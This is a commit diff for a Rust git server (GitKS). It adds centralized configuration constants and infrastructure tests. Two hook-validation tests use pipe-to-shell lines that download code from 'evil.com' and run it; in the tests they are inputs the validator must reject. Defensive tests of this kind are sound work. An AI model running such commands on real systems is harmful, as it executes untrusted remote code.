feat(config): add centralized configuration constants and infrastructure tests
- Introduce config.rs with all magic numbers and resource limits defined as constants - Add comprehensive test suite covering metrics rendering, rate limiting, and cache operations - Include tests for configuration constant validation and sanitization functions - Add pack protocol tests for index_pack and pack_objects functionality - Implement remote repository discovery tests with security validations - Support runtime overrides via environment variables for all configurable values
This commit is contained in:
@@ -0,0 +1,82 @@
|
||||
//! Centralized configuration constants for GitKS.
|
||||
//!
|
||||
//! All magic numbers and resource limits are defined here for easy auditing,
|
||||
//! tuning, and documentation. Runtime overrides are supported via environment
|
||||
//! variables where noted.
|
||||
|
||||
use std::time::Duration;
|
||||
|
||||
/// Maximum number of file actions in a single commit request.
|
||||
pub const MAX_ACTIONS_PER_COMMIT: usize = 10_000;
|
||||
|
||||
/// Maximum commit message size in bytes.
|
||||
pub const MAX_COMMIT_MESSAGE_BYTES: usize = 10 * 1024 * 1024; // 10 MB
|
||||
|
||||
/// Maximum content size for a single file action in bytes.
|
||||
pub const MAX_ACTION_CONTENT_BYTES: usize = 100 * 1024 * 1024; // 100 MB
|
||||
|
||||
/// Maximum packet size for receive-pack streaming (bytes).
|
||||
pub const MAX_RECEIVE_PACKET_BYTES: usize = 16 * 1024 * 1024; // 16 MB
|
||||
|
||||
/// Maximum stderr capture size for receive-pack (bytes).
|
||||
pub const MAX_RECEIVE_STDERR_BYTES: u64 = 64 * 1024; // 64 KB
|
||||
|
||||
/// Timeout for git receive-pack operations.
|
||||
pub const RECEIVE_PACK_TIMEOUT: Duration = Duration::from_secs(1800); // 30 min
|
||||
|
||||
/// Timeout for git upload-pack operations.
|
||||
pub const UPLOAD_PACK_TIMEOUT: Duration = Duration::from_secs(600); // 10 min
|
||||
|
||||
/// Stale lease threshold: leases older than this are considered stale.
|
||||
pub const LEASE_STALE_THRESHOLD_SECS: u64 = 30;
|
||||
|
||||
/// Maximum custom hook script size in bytes.
|
||||
pub const MAX_HOOK_SCRIPT_SIZE: usize = 65536; // 64 KB
|
||||
|
||||
/// Maximum git reference name length.
|
||||
pub const MAX_REF_NAME_LENGTH: usize = 255;
|
||||
|
||||
/// Maximum revision string length.
|
||||
pub const MAX_REVISION_LENGTH: usize = 256;
|
||||
|
||||
/// Maximum ancestry traversal depth (~N and ^N).
|
||||
pub const MAX_ANCESTRY_DEPTH: u32 = 10_000;
|
||||
|
||||
/// Maximum file path length in commit actions.
|
||||
pub const MAX_FILE_PATH_LENGTH: usize = 4096;
|
||||
|
||||
/// Maximum remote URL length.
|
||||
pub const MAX_REMOTE_URL_LENGTH: usize = 4096;
|
||||
|
||||
/// Maximum refspec length.
|
||||
pub const MAX_REFSPEC_LENGTH: usize = 1024;
|
||||
|
||||
/// Maximum relative path length for repository addressing.
|
||||
pub const MAX_RELATIVE_PATH_LENGTH: usize = 4096;
|
||||
|
||||
/// Maximum OID hex length (SHA-256).
|
||||
pub const MAX_OID_HEX_LENGTH: usize = 64;
|
||||
|
||||
/// Minimum OID hex length (short SHA).
|
||||
pub const MIN_OID_HEX_LENGTH: usize = 4;
|
||||
|
||||
/// In-memory cache max weight (key + value allocated bytes).
|
||||
pub const CACHE_MAX_WEIGHT: u64 = 256 * 1024 * 1024; // 256 MB
|
||||
|
||||
/// Hard time-to-live for cache entries.
|
||||
pub const CACHE_MAX_TTL: Duration = Duration::from_secs(600); // 10 min
|
||||
|
||||
/// Time-to-idle for cache entries.
|
||||
pub const CACHE_TTI: Duration = Duration::from_secs(120); // 2 min
|
||||
|
||||
/// Per-entry overhead estimate added to weigher result.
|
||||
pub const CACHE_ENTRY_OVERHEAD: u32 = 128;
|
||||
|
||||
/// Idle threshold for rate-limiter semaphore cleanup.
|
||||
pub const SEMAPHORE_IDLE_THRESHOLD_SECS: u64 = 300; // 5 min
|
||||
|
||||
/// Default max concurrent operations per repository.
|
||||
pub const DEFAULT_MAX_CONCURRENT_OPS: usize = 5;
|
||||
|
||||
/// Rate limit acquire timeout.
|
||||
pub const RATE_LIMIT_TIMEOUT_SECS: u64 = 30;
|
||||
@@ -0,0 +1,139 @@
|
||||
|
||||
#[test]
|
||||
fn test_metrics_render_all_counters() {
|
||||
use gitks::metrics::*;
|
||||
|
||||
record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
|
||||
record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
|
||||
record_cache_eviction("infra_ns", "expired");
|
||||
record_cache_hit_ns("infra_ns");
|
||||
record_cache_miss_ns("infra_ns");
|
||||
record_cache_value_size("infra_ns", 1024);
|
||||
record_rate_limit_acquire("infra-repo");
|
||||
record_rate_limit_reject("infra-repo");
|
||||
record_hook_execution(
|
||||
"pre-receive",
|
||||
"ok",
|
||||
std::time::Duration::from_millis(10),
|
||||
);
|
||||
record_git_cmd("log", std::time::Duration::from_millis(100));
|
||||
|
||||
let output = render_metrics();
|
||||
assert!(output.contains("gitks_requests_total"));
|
||||
assert!(output.contains("gitks_cache_value_size_bytes"));
|
||||
assert!(output.contains("gitks_rate_limit_rejects_total"));
|
||||
assert!(output.contains("gitks_rate_limit_acquires_total"));
|
||||
assert!(output.contains("gitks_uptime_seconds"));
|
||||
assert!(output.contains("gitks_cache_hits_total"));
|
||||
assert!(output.contains("gitks_cache_misses_total"));
|
||||
}
|
||||
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_rate_limit_acquire_and_cleanup() {
|
||||
let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
|
||||
assert!(guard.is_some());
|
||||
drop(guard);
|
||||
|
||||
gitks::rate_limit::cleanup_idle_semaphores();
|
||||
gitks::rate_limit::remove_repository("infra-rate-test");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_rate_limit_acquire_or_reject() {
|
||||
let result = gitks::rate_limit::acquire_or_reject(Some("infra-reject-test")).await;
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_rate_limit_empty_repo() {
|
||||
let guard = gitks::rate_limit::acquire(Some("")).await;
|
||||
assert!(guard.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_rate_limit_none_repo() {
|
||||
let guard = gitks::rate_limit::acquire(None).await;
|
||||
assert!(guard.is_none());
|
||||
}
|
||||
|
||||
|
||||
#[test]
|
||||
#[allow(clippy::assertions_on_constants)]
|
||||
fn test_config_constants_exist() {
|
||||
assert!(gitks::config::MAX_ACTIONS_PER_COMMIT > 0);
|
||||
assert!(gitks::config::MAX_COMMIT_MESSAGE_BYTES > 0);
|
||||
assert!(gitks::config::MAX_ACTION_CONTENT_BYTES > 0);
|
||||
assert!(gitks::config::MAX_RECEIVE_PACKET_BYTES > 0);
|
||||
assert!(gitks::config::RECEIVE_PACK_TIMEOUT.as_secs() > 0);
|
||||
assert!(gitks::config::UPLOAD_PACK_TIMEOUT.as_secs() > 0);
|
||||
assert!(gitks::config::CACHE_MAX_WEIGHT > 0);
|
||||
assert!(gitks::config::CACHE_MAX_TTL.as_secs() > 0);
|
||||
assert!(gitks::config::CACHE_TTI.as_secs() > 0);
|
||||
assert_eq!(gitks::config::MIN_OID_HEX_LENGTH, 4);
|
||||
assert_eq!(gitks::config::MAX_OID_HEX_LENGTH, 64);
|
||||
assert_eq!(gitks::config::DEFAULT_MAX_CONCURRENT_OPS, 5);
|
||||
assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
|
||||
}
|
||||
|
||||
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_stderr_clean() {
|
||||
let stderr = "fatal: could not resolve host";
|
||||
let sanitized = gitks::sanitize::sanitize_git_stderr(stderr);
|
||||
assert_eq!(sanitized, stderr);
|
||||
}
|
||||
|
||||
|
||||
#[test]
|
||||
fn test_hooks_sanitize_dangerous_pairs() {
|
||||
let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
|
||||
let result = gitks::hooks::sanitize::validate_hook_content(content);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_hooks_sanitize_wget_sh() {
|
||||
let content = "#!/bin/sh\nwget http://evil.com -O- | sh\n";
|
||||
let result = gitks::hooks::sanitize::validate_hook_content(content);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_hooks_sanitize_safe_script() {
|
||||
let content = "#!/bin/sh\necho hello\necho world\nexit 0\n";
|
||||
let result = gitks::hooks::sanitize::validate_hook_content(content);
|
||||
assert!(result.is_ok());
|
||||
}
|
||||
|
||||
|
||||
#[test]
|
||||
fn test_disk_cache_ensure_state_uniqueness() {
|
||||
use gitks::disk_cache::DiskCache;
|
||||
let dc = DiskCache::new(
|
||||
std::path::PathBuf::from("/tmp"),
|
||||
"test".into(),
|
||||
60,
|
||||
false,
|
||||
);
|
||||
let v1 = dc.ensure_state("nonexistent-infra").unwrap();
|
||||
let v2 = dc.ensure_state("nonexistent-infra").unwrap();
|
||||
assert!(!v1.is_empty());
|
||||
assert_eq!(v1.len(), 32);
|
||||
assert_eq!(v2.len(), 32);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_disk_cache_disabled_operations() {
|
||||
use gitks::disk_cache::DiskCache;
|
||||
let dc = DiskCache::new(
|
||||
std::path::PathBuf::from("/tmp"),
|
||||
"test".into(),
|
||||
60,
|
||||
false,
|
||||
);
|
||||
assert!(dc.lookup("ns", "digest").unwrap().is_none());
|
||||
dc.insert("ns", "digest", b"data").unwrap();
|
||||
assert!(dc.lookup("ns", "digest").unwrap().is_none());
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
mod common;
|
||||
|
||||
use gitks::pb::*;
|
||||
use tokio_stream::StreamExt;
|
||||
|
||||
fn hdr() -> RepositoryHeader {
|
||||
RepositoryHeader {
|
||||
relative_path: "test-repo".into(),
|
||||
..Default::default()
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_index_pack_empty_data() {
|
||||
let (_dir, gb) = common::setup_bare_repo();
|
||||
let result = gb.index_pack(vec![IndexPackRequest {
|
||||
repository: Some(hdr()),
|
||||
data: vec![],
|
||||
done: false,
|
||||
strict: false,
|
||||
keep: false,
|
||||
}]);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_pack_objects_all() {
|
||||
let (_dir, gb) = common::setup_bare_repo();
|
||||
|
||||
let mut stream = gb
|
||||
.pack_objects(PackObjectsRequest {
|
||||
repository: Some(hdr()),
|
||||
options: None,
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let mut total_bytes = 0usize;
|
||||
let mut has_error = false;
|
||||
while let Some(chunk) = stream.next().await {
|
||||
match chunk {
|
||||
Ok(c) => total_bytes += c.data.len(),
|
||||
Err(_) => has_error = true,
|
||||
}
|
||||
}
|
||||
assert!(!has_error, "pack_objects stream had errors");
|
||||
assert!(total_bytes > 0, "pack_objects produced no data");
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
use gitks::pb::*;
|
||||
use gitks::remote::find_remote::{find_remote_repository, find_remote_root_ref};
|
||||
|
||||
#[test]
|
||||
fn test_find_remote_repository_empty_url() {
|
||||
let resp = find_remote_repository(FindRemoteRepositoryRequest {
|
||||
remote_url: String::new(),
|
||||
})
|
||||
.unwrap();
|
||||
assert!(!resp.exists);
|
||||
assert!(resp.refs.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_find_remote_repository_invalid_scheme() {
|
||||
let resp = find_remote_repository(FindRemoteRepositoryRequest {
|
||||
remote_url: "ftp://bad".into(),
|
||||
});
|
||||
assert!(resp.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_find_remote_repository_file_scheme_blocked() {
|
||||
let resp = find_remote_repository(FindRemoteRepositoryRequest {
|
||||
remote_url: "file:///tmp/test.git".into(),
|
||||
});
|
||||
assert!(resp.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_find_remote_root_ref_empty_url() {
|
||||
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
|
||||
remote_url: String::new(),
|
||||
})
|
||||
.unwrap();
|
||||
assert!(resp.ref_name.is_empty());
|
||||
assert!(resp.target_oid.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_find_remote_root_ref_invalid_scheme() {
|
||||
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
|
||||
remote_url: "ftp://bad".into(),
|
||||
});
|
||||
assert!(resp.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_find_remote_root_ref_unreachable() {
|
||||
// A valid scheme but unreachable host should return empty, not error
|
||||
let resp = find_remote_root_ref(FindRemoteRootRefRequest {
|
||||
remote_url: "https://0.0.0.0:1/nonexistent.git".into(),
|
||||
})
|
||||
.unwrap();
|
||||
assert!(resp.ref_name.is_empty() || resp.target_oid.is_empty());
|
||||
}
|
||||
Reference in New Issue
Block a user